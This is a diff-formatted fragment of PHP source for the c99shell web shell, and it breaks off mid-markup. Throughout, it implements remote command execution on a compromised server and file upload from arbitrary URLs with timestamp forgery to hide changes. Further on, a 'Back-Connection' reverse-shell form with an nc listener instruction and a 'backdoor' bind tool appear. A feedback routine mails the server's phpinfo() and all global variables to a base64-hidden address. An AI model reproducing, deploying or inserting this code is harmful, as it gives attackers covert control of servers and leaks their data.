+displaysecinfo("Is fetch installed?",myshellexec("which fetch")); +displaysecinfo("Is GET installed?",myshellexec("which GET")); +displaysecinfo("Is perl installed?",myshellexec("which perl")); +displaysecinfo("Where is apache",myshellexec("whereis apache")); +displaysecinfo("Where is perl?",myshellexec("whereis perl")); +displaysecinfo("locate proftpd.conf",myshellexec("locate proftpd.conf")); +displaysecinfo("locate httpd.conf",myshellexec("locate httpd.conf")); +displaysecinfo("locate my.conf",myshellexec("locate my.conf")); +displaysecinfo("locate psybnc.conf",myshellexec("locate psybnc.conf")); +} +if ($act == "mkfile") +{ +if ($mkfile != $d) +{ + if (file_exists($mkfile)) {echo "<b>Make File \"".htmlspecialchars($mkfile)."\"</b>: object alredy exists";} + elseif (!fopen($mkfile,"w")) {echo "<b>Make File \"".htmlspecialchars($mkfile)."\"</b>: access denied";} + else {$act = "f"; $d = dirname($mkfile); if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} $f = basename($mkfile);} +} +else {$act = $dspact = "ls";} +} +if ($act == "encoder") +{ +echo "<script>function set_encoder_input(text) {document.forms.encoder.input.value = text;}</script><center><b>Encoder:</b></center><form name=\"encoder\" action=\"".$surl."\" method=POST><input type=hidden name=act value=encoder><b>Input:</b><center><textarea name=\"encoder_input\" id=\"input\" cols=50 rows=5>".@htmlspecialchars($encoder_input)."</textarea><br><br><input type=submit value=\"calculate\"><br><br></center><b>Hashes</b>:<br><center>"; +foreach(array("md5","crypt","sha1","crc32") as $v) +{ + echo $v." - <input type=text size=50 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".$v($encoder_input)."\" readonly><br>"; +} +echo "</center><b>Url:</b><center><br>urlencode - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".urlencode($encoder_input)."\" readonly> +<br>urldecode - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".htmlspecialchars(urldecode($encoder_input))."\" readonly> +<br></center><b>Base64:</b><center>base64_encode - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".base64_encode($encoder_input)."\" readonly></center>"; +echo "<center>base64_decode - "; +if (base64_encode(base64_decode($encoder_input)) != $encoder_input) {echo "<input type=text size=35 value=\"failed\" disabled readonly>";} +else +{ + $debase64 = base64_decode($encoder_input); + $debase64 = str_replace("\0","[0]",$debase64); + $a = explode("\r\n",$debase64); + $rows = count($a); + $debase64 = htmlspecialchars($debase64); + if ($rows == 1) {echo "<input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".$debase64."\" id=\"debase64\" readonly>";} + else {$rows++; echo "<textarea cols=\"40\" rows=\"".$rows."\" onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" id=\"debase64\" readonly>".$debase64."</textarea>";} + echo "&nbsp;<a href=\"#\" onclick=\"set_encoder_input(document.forms.encoder.debase64.value)\"><b>^</b></a>"; +} +echo "</center><br><b>Base convertations</b>:<center>dec2hex - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\""; +$c = strlen($encoder_input); +for($i=0;$i<$c;$i++) +{ + $hex = dechex(ord($encoder_input[$i])); + if ($encoder_input[$i] == "&") {echo $encoder_input[$i];} + elseif ($encoder_input[$i] != "\\") {echo "%".$hex;} +} +echo "\" readonly><br></center></form>"; +} +if ($act == "fsbuff") +{ +$arr_copy = $sess_data["copy"]; +$arr_cut = $sess_data["cut"]; +$arr = array_merge($arr_copy,$arr_cut); +if (count($arr) == 0) {echo "<center><b>Buffer is empty!</b></center>";} +else {echo "<b>File-System buffer</b><br><br>"; $ls_arr = $arr; $disp_fullpath = TRUE; $act = "ls";} +} +if ($act == "selfremove") +{ +if (($submit == $rndcode) and ($submit != "")) +{ + if (unlink(__FILE__)) {@ob_clean(); echo "Thanks for using c99shell v.".$shver."!"; c99shexit(); } + else {echo "<center><b>Can't delete ".__FILE__."!</b></center>";} +} +else +{ + if (!empty($rndcode)) {echo "<b>Error: incorrect confimation!</b>";} + $rnd = rand(0,9).rand(0,9).rand(0,9); + echo "<form action=\"".$surl."\"><input type=hidden name=act value=selfremove><b>Self-remove: ".__FILE__." <br><b>Are you sure?<br>For confirmation, enter \"".$rnd."\"</b>:&nbsp;<input type=hidden name=rndcode value=\"".$rnd."\"><input type=text name=submit>&nbsp;<input type=submit value=\"YES\"></form>"; +} +} +if ($act == "update") {$ret = c99sh_getupdate(!!$confirmupdate); echo "<b>".$ret."</b>"; if (stristr($ret,"new version")) {echo "<br><br><input type=button onclick=\"location.href='".$surl."act=update&confirmupdate=1';\" value=\"Update now\">";}} +if ($act == "feedback") +{ +$suppmail = base64_decode("Yzk5c2hlbGxAY2N0ZWFtLnJ1"); +if (!empty($submit)) +{ + $ticket = substr(md5(microtime()+rand(1,1000)),0,6); + $body = "c99shell v.".$shver." feedback #".$ticket."\nName: ".htmlspecialchars($fdbk_name)."\nE-mail: ".htmlspecialchars($fdbk_email)."\nMessage:\n".htmlspecialchars($fdbk_body)."\n\nIP: ".$REMOTE_ADDR; + if (!empty($fdbk_ref)) + { + $tmp = @ob_get_contents(); + ob_clean(); + phpinfo(); + $phpinfo = base64_encode(ob_get_contents()); + ob_clean(); + echo $tmp; + $body .= "\n"."phpinfo(): ".$phpinfo."\n"."\$GLOBALS=".base64_encode(serialize($GLOBALS))."\n"; + } + mail($suppmail,"c99shell v.".$shver." feedback #".$ticket,$body,"FROM: ".$suppmail); + echo "<center><b>Thanks for your feedback! Your ticket ID: ".$ticket.".</b></center>"; +} +else {echo "<form action=\"".$surl."\" method=POST><input type=hidden name=act value=feedback><b>Feedback or report bug (".str_replace(array("@","."),array("[at]","[dot]"),$suppmail)."):<br><br>Your name: <input type=\"text\" name=\"fdbk_name\" value=\"".htmlspecialchars($fdbk_name)."\"><br><br>Your e-mail: <input type=\"text\" name=\"fdbk_email\" value=\"".htmlspecialchars($fdbk_email)."\"><br><br>Message:<br><textarea name=\"fdbk_body\" cols=80 rows=10>".htmlspecialchars($fdbk_body)."</textarea><input type=\"hidden\" name=\"fdbk_ref\" value=\"".urlencode($HTTP_REFERER)."\"><br><br>Attach server-info * <input type=\"checkbox\" name=\"fdbk_servinf\" value=\"1\" checked><br><br>There are no checking in the form.<br><br>* - strongly recommended, if you report bug, because we need it for bug-fix.<br><br>We understand languages: English, Russian.<br><br><input type=\"submit\" name=\"submit\" value=\"Send\"></form>";} +} +if ($act == "search") +{ +echo "<b>Search in file-system:</b><br>"; +if (empty($search_in)) {$search_in = $d;} +if (empty($search_name)) {$search_name = "(.*)"; $search_name_regexp = 1;} +if (empty($search_text_wwo)) {$search_text_regexp = 0;} +if (!empty($submit)) +{ + $found = array(); + $found_d = 0; + $found_f = 0; + $search_i_f = 0; + $search_i_d = 0; + $a = array + ( + "name"=>$search_name, "name_regexp"=>$search_name_regexp, + "text"=>$search_text, "text_regexp"=>$search_text_regxp, + "text_wwo"=>$search_text_wwo, + "text_cs"=>$search_text_cs, + "text_not"=>$search_text_not + ); + $searchtime = getmicrotime(); + $in = array_unique(explode(";",$search_in)); + foreach($in as $v) {c99fsearch($v);} + $searchtime = round(getmicrotime()-$searchtime,4); + if (count($found) == 0) {echo "<b>No files found!</b>";} + else + { + $ls_arr = $found; + $disp_fullpath = TRUE; + $act = "ls"; + } +} +echo "<form method=POST> +<input type=hidden name=\"d\" value=\"".$dispd."\"><input type=hidden name=act value=\"".$dspact."\"> +<b>Search for (file/folder name): </b><input type=\"text\" name=\"search_name\" size=\"".round(strlen($search_name)+25)."\" value=\"".htmlspecialchars($search_name)."\">&nbsp;<input type=\"checkbox\" name=\"search_name_regexp\" value=\"1\" ".($search_name_regexp == 1?" checked":"")."> - regexp +<br><b>Search in (explode \";\"): </b><input type=\"text\" name=\"search_in\" size=\"".round(strlen($search_in)+25)."\" value=\"".htmlspecialchars($search_in)."\"> +<br><br><b>Text:</b><br><textarea name=\"search_text\" cols=\"122\" rows=\"10\">".htmlspecialchars($search_text)."</textarea> +<br><br><input type=\"checkbox\" name=\"search_text_regexp\" value=\"1\" ".($search_text_regexp == 1?" checked":"")."> - regexp +&nbsp;&nbsp;<input type=\"checkbox\" name=\"search_text_wwo\" value=\"1\" ".($search_text_wwo == 1?" checked":"")."> - <u>w</u>hole words only +&nbsp;&nbsp;<input type=\"checkbox\" name=\"search_text_cs\" value=\"1\" ".($search_text_cs == 1?" checked":"")."> - cas<u>e</u> sensitive +&nbsp;&nbsp;<input type=\"checkbox\" name=\"search_text_not\" value=\"1\" ".($search_text_not == 1?" checked":"")."> - find files <u>NOT</u> containing the text +<br><br><input type=submit name=submit value=\"Search\"></form>"; +if ($act == "ls") {$dspact = $act; echo "<hr size=\"1\" noshade><b>Search took ".$searchtime." secs (".$search_i_f." files and ".$search_i_d." folders, ".round(($search_i_f+$search_i_d)/$searchtime,4)." objects per second).</b><br><br>";} +} +if ($act == "chmod") +{ +$mode = fileperms($d.$f); +if (!$mode) {echo "<b>Change file-mode with error:</b> can't get current value.";} +else +{ + $form = TRUE; + if ($chmod_submit) + { + $octet = "0".base_convert(($chmod_o["r"]?1:0).($chmod_o["w"]?1:0).($chmod_o["x"]?1:0).($chmod_g["r"]?1:0).($chmod_g["w"]?1:0).($chmod_g["x"]?1:0).($chmod_w["r"]?1:0).($chmod_w["w"]?1:0).($chmod_w["x"]?1:0),2,8); + if (chmod($d.$f,$octet)) {$act = "ls"; $form = FALSE; $err = "";} + else {$err = "Can't chmod to ".$octet.".";} + } + if ($form) + { + $perms = parse_perms($mode); + echo "<b>Changing file-mode (".$d.$f."), ".view_perms_color($d.$f)." (".substr(decoct(fileperms($d.$f)),-4,4).")</b><br>".($err?"<b>Error:</b> ".$err:"")."<form action=\"".$surl."\" method=POST><input type=hidden name=d value=\"".htmlspecialchars($d)."\"><input type=hidden name=f value=\"".htmlspecialchars($f)."\"><input type=hidden name=act value=chmod><table align=left width=300 border=0 cellspacing=0 cellpadding=5><tr><td><b>Owner</b><br><br><input type=checkbox NAME=chmod_o[r] value=1".($perms["o"]["r"]?" checked":"").">&nbsp;Read<br><input type=checkbox name=chmod_o[w] value=1".($perms["o"]["w"]?" checked":"").">&nbsp;Write<br><input type=checkbox NAME=chmod_o[x] value=1".($perms["o"]["x"]?" checked":"").">eXecute</td><td><b>Group</b><br><br><input type=checkbox NAME=chmod_g[r] value=1".($perms["g"]["r"]?" checked":"").">&nbsp;Read<br><input type=checkbox NAME=chmod_g[w] value=1".($perms["g"]["w"]?" checked":"").">&nbsp;Write<br><input type=checkbox NAME=chmod_g[x] value=1".($perms["g"]["x"]?" checked":"").">eXecute</font></td><td><b>World</b><br><br><input type=checkbox NAME=chmod_w[r] value=1".($perms["w"]["r"]?" checked":"").">&nbsp;Read<br><input type=checkbox NAME=chmod_w[w] value=1".($perms["w"]["w"]?" checked":"").">&nbsp;Write<br><input type=checkbox NAME=chmod_w[x] value=1".($perms["w"]["x"]?" checked":"").">eXecute</font></td></tr><tr><td><input type=submit name=chmod_submit value=\"Save\"></td></tr></table></form>"; + } +} +} +if ($act == "upload") +{ +$uploadmess = ""; +$uploadpath = str_replace("\\",DIRECTORY_SEPARATOR,$uploadpath); +if (empty($uploadpath)) {$uploadpath = $d;} +elseif (substr($uploadpath,-1) != "/") {$uploadpath .= "/";} +if (!empty($submit)) +{ + global $HTTP_POST_FILES; + $uploadfile = $HTTP_POST_FILES["uploadfile"]; + if (!empty($uploadfile["tmp_name"])) + { + if (empty($uploadfilename)) {$destin = $uploadfile["name"];} + else {$destin = $userfilename;} + if (!move_uploaded_file($uploadfile["tmp_name"],$uploadpath.$destin)) {$uploadmess .= "Error uploading file ".$uploadfile["name"]." (can't copy \"".$uploadfile["tmp_name"]."\" to \"".$uploadpath.$destin."\"!<br>";} + } + elseif (!empty($uploadurl)) + { + if (!empty($uploadfilename)) {$destin = $uploadfilename;} + else + { + $destin = explode("/",$destin); + $destin = $destin[count($destin)-1]; + if (empty($destin)) + { + $i = 0; + $b = ""; + while(file_exists($uploadpath.$destin)) {if ($i > 0) {$b = "_".$i;} $destin = "index".$b.".html"; $i++;}} + } + if ((!eregi("http://",$uploadurl)) and (!eregi("https://",$uploadurl)) and (!eregi("ftp://",$uploadurl))) {echo "<b>Incorect url!</b><br>";} + else + { + $st = getmicrotime(); + $content = @file_get_contents($uploadurl); + $dt = round(getmicrotime()-$st,4); + if (!$content) {$uploadmess .= "Can't download file!<br>";} + else + { + if ($filestealth) {$stat = stat($uploadpath.$destin);} + $fp = fopen($uploadpath.$destin,"w"); + if (!$fp) {$uploadmess .= "Error writing to file ".htmlspecialchars($destin)."!<br>";} + else + { + fwrite($fp,$content,strlen($content)); + fclose($fp); + if ($filestealth) {touch($uploadpath.$destin,$stat[9],$stat[8]);} + } + } + } + } +} +if ($miniform) +{ + echo "<b>".$uploadmess."</b>"; + $act = "ls"; +} +else +{ + echo "<b>File upload:</b><br><b>".$uploadmess."</b><form enctype=\"multipart/form-data\" action=\"".$surl."act=upload&d=".urlencode($d)."\" method=POST> +Select file on your local computer: <input name=\"uploadfile\" type=\"file\"><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;or<br> +Input URL: <input name=\"uploadurl\" type=\"text\" value=\"".htmlspecialchars($uploadurl)."\" size=\"70\"><br><br> +Save this file dir: <input name=\"uploadpath\" size=\"70\" value=\"".$dispd."\"><br><br> +File-name (auto-fill): <input name=uploadfilename size=25><br><br> +<input type=checkbox name=uploadautoname value=1 id=df4>&nbsp;convert file name to lovercase<br><br> +<input type=submit name=submit value=\"Upload\"> +</form>"; +} +} +if ($act == "delete") +{ +$delerr = ""; +foreach ($actbox as $v) +{ + $result = FALSE; + $result = fs_rmobj($v); + if (!$result) {$delerr .= "Can't delete ".htmlspecialchars($v)."<br>";} +} +if (!empty($delerr)) {echo "<b>Deleting with errors:</b><br>".$delerr;} +$act = "ls"; +} +if (!$usefsbuff) +{ +if (($act == "paste") or ($act == "copy") or ($act == "cut") or ($act == "unselect")) {echo "<center><b>Sorry, buffer is disabled. For enable, set directive \"\$useFSbuff\" as TRUE.</center>";} +} +else +{ +if ($act == "copy") {$err = ""; $sess_data["copy"] = array_merge($sess_data["copy"],$actbox); c99_sess_put($sess_data); $act = "ls"; } +elseif ($act == "cut") {$sess_data["cut"] = array_merge($sess_data["cut"],$actbox); c99_sess_put($sess_data); $act = "ls";} +elseif ($act == "unselect") {foreach ($sess_data["copy"] as $k=>$v) {if (in_array($v,$actbox)) {unset($sess_data["copy"][$k]);}} foreach ($sess_data["cut"] as $k=>$v) {if (in_array($v,$actbox)) {unset($sess_data["cut"][$k]);}} c99_sess_put($sess_data); $act = "ls";} +if ($actemptybuff) {$sess_data["copy"] = $sess_data["cut"] = array(); c99_sess_put($sess_data);} +elseif ($actpastebuff) +{ + $psterr = ""; + foreach($sess_data["copy"] as $k=>$v) + { + $to = $d.basename($v); + if (!fs_copy_obj($v,$to)) {$psterr .= "Can't copy ".$v." to ".$to."!<br>";} + if ($copy_unset) {unset($sess_data["copy"][$k]);} + } + foreach($sess_data["cut"] as $k=>$v) + { + $to = $d.basename($v); + if (!fs_move_obj($v,$to)) {$psterr .= "Can't move ".$v." to ".$to."!<br>";} + unset($sess_data["cut"][$k]); + } + c99_sess_put($sess_data); + if (!empty($psterr)) {echo "<b>Pasting with errors:</b><br>".$psterr;} + $act = "ls"; +} +elseif ($actarcbuff) +{ + $arcerr = ""; + if (substr($actarcbuff_path,-7,7) == ".tar.gz") {$ext = ".tar.gz";} + else {$ext = ".tar.gz";} + if ($ext == ".tar.gz") {$cmdline = "tar cfzv";} + $cmdline .= " ".$actarcbuff_path; + $objects = array_merge($sess_data["copy"],$sess_data["cut"]); + foreach($objects as $v) + { + $v = str_replace("\\",DIRECTORY_SEPARATOR,$v); + if (substr($v,0,strlen($d)) == $d) {$v = basename($v);} + if (is_dir($v)) + { + if (substr($v,-1) != DIRECTORY_SEPARATOR) {$v .= DIRECTORY_SEPARATOR;} + $v .= "*"; + } + $cmdline .= " ".$v; + } + $tmp = realpath("."); + chdir($d); + $ret = myshellexec($cmdline); + chdir($tmp); + if (empty($ret)) {$arcerr .= "Can't call archivator (".htmlspecialchars(str2mini($cmdline,60)).")!<br>";} + $ret = str_replace("\r\n","\n",$ret); + $ret = explode("\n",$ret); + if ($copy_unset) {foreach($sess_data["copy"] as $k=>$v) {unset($sess_data["copy"][$k]);}} + foreach($sess_data["cut"] as $k=>$v) + { + if (in_array($v,$ret)) {fs_rmobj($v);} + unset($sess_data["cut"][$k]); + } + c99_sess_put($sess_data); + if (!empty($arcerr)) {echo "<b>Archivation errors:</b><br>".$arcerr;} + $act = "ls"; +} +elseif ($actpastebuff) +{ + $psterr = ""; + foreach($sess_data["copy"] as $k=>$v) + { + $to = $d.basename($v); + if (!fs_copy_obj($v,$d)) {$psterr .= "Can't copy ".$v." to ".$to."!<br>";} + if ($copy_unset) {unset($sess_data["copy"][$k]);} + } + foreach($sess_data["cut"] as $k=>$v) + { + $to = $d.basename($v); + if (!fs_move_obj($v,$d)) {$psterr .= "Can't move ".$v." to ".$to."!<br>";} + unset($sess_data["cut"][$k]); + } + c99_sess_put($sess_data); + if (!empty($psterr)) {echo "<b>Pasting with errors:</b><br>".$psterr;} + $act = "ls"; +} +} +if ($act == "cmd") +{ +if (trim($cmd) == "ps -aux") {$act = "processes";} +elseif (trim($cmd) == "tasklist") {$act = "processes";} +else +{ +@chdir($chdir); +if (!empty($submit)) +{ + echo "<b>Result of execution this command</b>:<br>"; + $olddir = realpath("."); + @chdir($d); + $ret = myshellexec($cmd); + $ret = convert_cyr_string($ret,"d","w"); + if ($cmd_txt) + { + $rows = count(explode("\r\n",$ret))+1; + if ($rows < 10) {$rows = 10;} + echo "<br><textarea cols=\"122\" rows=\"".$rows."\" readonly>".htmlspecialchars($ret)."</textarea>"; + } + else {echo $ret."<br>";} + @chdir($olddir); +} +else {echo "<b>Execution command</b>"; if (empty($cmd_txt)) {$cmd_txt = TRUE;}} +echo "<form action=\"".$surl."\" method=POST><input type=hidden name=act value=cmd><textarea name=cmd cols=122 rows=10>".htmlspecialchars($cmd)."</textarea><input type=hidden name=\"d\" value=\"".$dispd."\"><br><br><input type=submit name=submit value=\"Execute\">&nbsp;Display in text-area&nbsp;<input type=\"checkbox\" name=\"cmd_txt\" value=\"1\""; if ($cmd_txt) {echo " checked";} echo "></form>"; +} +} +if ($act == "ls") +{ +if (count($ls_arr) > 0) {$list = $ls_arr;} +else +{ + $list = array(); + if ($h = @opendir($d)) + { + while (($o = readdir($h)) !== FALSE) {$list[] = $d.$o;} + closedir($h); + } + else {} +} +if (count($list) == 0) {echo "<center><b>Can't open folder (".htmlspecialchars($d).")!</b></center>";} +else +{ + //Building array + $objects = array(); + $vd = "f"; //Viewing mode + if ($vd == "f") + { + $objects["head"] = array(); + $objects["folders"] = array(); + $objects["links"] = array(); + $objects["files"] = array(); + foreach ($list as $v) + { + $o = basename($v); + $row = array(); + if ($o == ".") {$row[] = $d.$o; $row[] = "LINK";} + elseif ($o == "..") {$row[] = $d.$o; $row[] = "LINK";} + elseif (is_dir($v)) + { + if (is_link($v)) {$type = "LINK";} + else {$type = "DIR";} + $row[] = $v; + $row[] = $type; + } + elseif(is_file($v)) {$row[] = $v; $row[] = filesize($v);} + $row[] = filemtime($v); + if (!$win) + { + $ow = posix_getpwuid(fileowner($v)); + $gr = posix_getgrgid(filegroup($v)); + $row[] = ($ow["name"]?$ow["name"]:fileowner($v))."/".($gr["name"]?$gr["name"]:filegroup($v)); + } + $row[] = fileperms($v); + if (($o == ".") or ($o == "..")) {$objects["head"][] = $row;} + elseif (is_link($v)) {$objects["links"][] = $row;} + elseif (is_dir($v)) {$objects["folders"][] = $row;} + elseif (is_file($v)) {$objects["files"][] = $row;} + $i++; + } + $row = array(); + $row[] = "<b>Name</b>"; + $row[] = "<b>Size</b>"; + $row[] = "<b>Modify</b>"; + if (!$win) + {$row[] = "<b>Owner/Group</b>";} + $row[] = "<b>Perms</b>"; + $row[] = "<b>Action</b>"; + $parsesort = parsesort($sort); + $sort = $parsesort[0].$parsesort[1]; + $k = $parsesort[0]; + if ($parsesort[1] != "a") {$parsesort[1] = "d";} + $y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&sort=".$k.($parsesort[1] == "a"?"d":"a")."\">"; + $y .= "<img src=\"".$surl."act=img&img=sort_".($sort[1] == "a"?"asc":"desc")."\" height=\"9\" width=\"14\" alt=\"".($parsesort[1] == "a"?"Asc.":"Desc")."\" border=\"0\"></a>"; + $row[$k] .= $y; + for($i=0;$i<count($row)-1;$i++) + { + if ($i != $k) {$row[$i] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&sort=".$i.$parsesort[1]."\">".$row[$i]."</a>";} + } + $v = $parsesort[0]; + usort($objects["folders"], "tabsort"); + usort($objects["links"], "tabsort"); + usort($objects["files"], "tabsort"); + if ($parsesort[1] == "d") + { + $objects["folders"] = array_reverse($objects["folders"]); + $objects["files"] = array_reverse($objects["files"]); + } + $objects = array_merge($objects["head"],$objects["folders"],$objects["links"],$objects["files"]); + $tab = array(); + $tab["cols"] = array($row); + $tab["head"] = array(); + $tab["folders"] = array(); + $tab["links"] = array(); + $tab["files"] = array(); + $i = 0; + foreach ($objects as $a) + { + $v = $a[0]; + $o = basename($v); + $dir = dirname($v); + if ($disp_fullpath) {$disppath = $v;} + else {$disppath = $o;} + $disppath = str2mini($disppath,60); + if (in_array($v,$sess_data["cut"])) {$disppath = "<strike>".$disppath."</strike>";} + elseif (in_array($v,$sess_data["copy"])) {$disppath = "<u>".$disppath."</u>";} + foreach ($regxp_highlight as $r) + { + if (ereg($r[0],$o)) + { + if ((!is_numeric($r[1])) or ($r[1] > 3)) {$r[1] = 0; ob_clean(); echo "Warning! Configuration error in \$regxp_highlight[".$k."][0] - unknown command."; c99shexit();} + else + { + $r[1] = round($r[1]); + $isdir = is_dir($v); + if (($r[1] == 0) or (($r[1] == 1) and !$isdir) or (($r[1] == 2) and !$isdir)) + { + if (empty($r[2])) {$r[2] = "<b>"; $r[3] = "</b>";} + $disppath = $r[2].$disppath.$r[3]; + if ($r[4]) {break;} + } + } + } + } + $uo = urlencode($o); + $ud = urlencode($dir); + $uv = urlencode($v); + $row = array(); + if ($o == ".") + { + $row[] = "<img src=\"".$surl."act=img&img=small_dir\" height=\"16\" width=\"19\" border=\"0\">&nbsp;<a href=\"".$surl."act=".$dspact."&d=".urlencode(realpath($d.$o))."&sort=".$sort."\">".$o."</a>"; + $row[] = "LINK"; + } + elseif ($o == "..") + { + $row[] = "<img src=\"".$surl."act=img&img=ext_lnk\" height=\"16\" width=\"19\" border=\"0\">&nbsp;<a href=\"".$surl."act=".$dspact."&d=".urlencode(realpath($d.$o))."&sort=".$sort."\">".$o."</a>"; + $row[] = "LINK"; + } + elseif (is_dir($v)) + { + if (is_link($v)) + { + $disppath .= " => ".readlink($v); + $type = "LINK"; + $row[] = "<img src=\"".$surl."act=img&img=ext_lnk\" height=\"16\" width=\"16\" border=\"0\">&nbsp;<a href=\"".$surl."act=ls&d=".$uv."&sort=".$sort."\">[".$disppath."]</a>"; + } + else + { + $type = "DIR"; + $row[] = "<img src=\"".$surl."act=img&img=small_dir\" height=\"16\" width=\"19\" border=\"0\">&nbsp;<a href=\"".$surl."act=ls&d=".$uv."&sort=".$sort."\">[".$disppath."]</a>"; + } + $row[] = $type; + } + elseif(is_file($v)) + { + $ext = explode(".",$o); + $c = count($ext)-1; + $ext = $ext[$c]; + $ext = strtolower($ext); + $row[] = "<img src=\"".$surl."act=img&img=ext_".$ext."\" border=\"0\">&nbsp;<a href=\"".$surl."act=f&f=".$uo."&d=".$ud."&\">".$disppath."</a>"; + $row[] = view_size($a[1]); + } + $row[] = date("d.m.Y H:i:s",$a[2]); + if (!$win) {$row[] = $a[3];} + $row[] = "<a href=\"".$surl."act=chmod&f=".$uo."&d=".$ud."\"><b>".view_perms_color($v)."</b></a>"; + if ($o == ".") {$checkbox = "<input type=\"checkbox\" name=\"actbox[]\" onclick=\"ls_reverse_all();\">"; $i--;} + else {$checkbox = "<input type=\"checkbox\" name=\"actbox[]\" id=\"actbox".$i."\" value=\"".htmlspecialchars($v)."\">";} + if (is_dir($v)) {$row[] = "<a href=\"".$surl."act=d&d=".$uv."\"><img src=\"".$surl."act=img&img=ext_diz\" alt=\"Info\" height=\"16\" width=\"16\" border=\"0\"></a>&nbsp;".$checkbox;} + else {$row[] = "<a href=\"".$surl."act=f&f=".$uo."&ft=info&d=".$ud."\"><img src=\"".$surl."act=img&img=ext_diz\" alt=\"Info\" height=\"16\" width=\"16\" border=\"0\"></a>&nbsp;<a href=\"".$surl."act=f&f=".$uo."&ft=edit&d=".$ud."\"><img src=\"".$surl."act=img&img=change\" alt=\"Change\" height=\"16\" width=\"19\" border=\"0\"></a>&nbsp;<a href=\"".$surl."act=f&f=".$uo."&ft=download&d=".$ud."\"><img src=\"".$surl."act=img&img=download\" alt=\"Download\" height=\"16\" width=\"19\" border=\"0\"></a>&nbsp;".$checkbox;} + if (($o == ".") or ($o == "..")) {$tab["head"][] = $row;} + elseif (is_link($v)) {$tab["links"][] = $row;} + elseif (is_dir($v)) {$tab["folders"][] = $row;} + elseif (is_file($v)) {$tab["files"][] = $row;} + $i++; + } + } + // Compiling table + $table = array_merge($tab["cols"],$tab["head"],$tab["folders"],$tab["links"],$tab["files"]); + echo "<center><b>Listing folder (".count($tab["files"])." files and ".(count($tab["folders"])+count($tab["links"]))." folders):</b></center><br><TABLE cellSpacing=0 cellPadding=0 width=100% bgcolor=#000000 borderColorLight=#433333 border=0><form action=\"".$surl."\" method=POST name=\"ls_form\"><input type=hidden name=act value=".$dspact."><input type=hidden name=d value=".$d.">"; + foreach($table as $row) + { + echo "<tr>\r\n"; + foreach($row as $v) {echo "<td>".$v."</td>\r\n";} + echo "</tr>\r\n"; + } + echo "</table><hr size=\"1\" noshade><p align=\"right\"> + <script> + function ls_setcheckboxall(status) + { + var id = 1; + var num = ".(count($table)-2)."; + while (id <= num) + { + document.getElementById('actbox'+id).checked = status; + id++; + } + } + function ls_reverse_all() + { + var id = 1; + var num = ".(count($table)-2)."; + while (id <= num) + { + document.getElementById('actbox'+id).checked = !document.getElementById('actbox'+id).checked; + id++; + } + } + </script> + <input type=\"button\" onclick=\"ls_setcheckboxall(true);\" value=\"Select all\">&nbsp;&nbsp;<input type=\"button\" onclick=\"ls_setcheckboxall(false);\" value=\"Unselect all\"> + <b><img src=\"".$surl."act=img&img=arrow_ltr\" border=\"0\">"; + if (count(array_merge($sess_data["copy"],$sess_data["cut"])) > 0 and ($usefsbuff)) + { + echo "<input type=submit name=actarcbuff value=\"Pack buffer to archive\">&nbsp;<input type=\"text\" name=\"actarcbuff_path\" value=\"archive_".substr(md5(rand(1,1000).rand(1,1000)),0,5).".tar.gz\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type=submit name=\"actpastebuff\" value=\"Paste\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type=submit name=\"actemptybuff\" value=\"Empty buffer\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;"; + } + echo "<select name=act><option value=\"".$act."\">With selected:</option>"; + echo "<option value=delete".($dspact == "delete"?" selected":"").">Delete</option>"; + echo "<option value=chmod".($dspact == "chmod"?" selected":"").">Change-mode</option>"; + if ($usefsbuff) + { + echo "<option value=cut".($dspact == "cut"?" selected":"").">Cut</option>"; + echo "<option value=copy".($dspact == "copy"?" selected":"").">Copy</option>"; + echo "<option value=unselect".($dspact == "unselect"?" selected":"").">Unselect</option>"; + } + echo "</select>&nbsp;<input type=submit value=\"Confirm\"></p>"; + echo "</form>"; +} +} +if ($act == "tools") +{ + + + + + + +?> +<TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="116" width="100%" bgcolor=#000000 borderColorLight=#c0c0c0 border=1> +<tr><td height="1" valign="top" colspan="2"><p align="center"><b>:: <a href="<?php echo $surl; ?>act=cmd&d=<?php echo urlencode($d); ?>"><b>Bind Functions By r57 </b></a> ::</b></p></td></tr> +<tr> + <td width="50%" height="83" valign="top"><center> + <div align="center"> + </div> +<form action="<?php echo $surl; ?>"> +<b>Bind With Backd00r Burner</b></br><form action="<?php echo $surl;?>"><input type=hidden name=act value=tools><select size=\"1\" name=dolma><option value="wgetcan">Use Wget</option><option value="lynxcan">Use lynx -dump</option><option value="freadcan">Use Fread</option></select></br></br><input type="submit" value="Burn it bAby"></form> + </td> + <td width="50%" height="83" valign="top"><center> + <center> + + + <b>Back-Connection :</b></br><form action="<?php echo $surl;?>"> <b>Ip (default is your ip) :</br> </b><input type=hidden name=act value=tools><input type="text" name="ipi" value="<?echo getenv('REMOTE_ADDR');?>"></br><b>Port:</br></b><input type="text" name="pipi" value="4392"></br><input type="submit" value="C0nnect ->"></br></form> +Click "Connect" only after open port for it. You should use NetCat&copy;, run "<b>nc -l -n -v -p <?php echo $bc_port; ?></b>"!<br><br> + + </center> + </td> +</tr></TABLE> + + + + + + + +<TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="116" width="100%" bgcolor=#000000 borderColorLight=#c0c0c0 border=1> +<tr><td height="1" valign="top" colspan="2"><p align="center"><b>:: <a 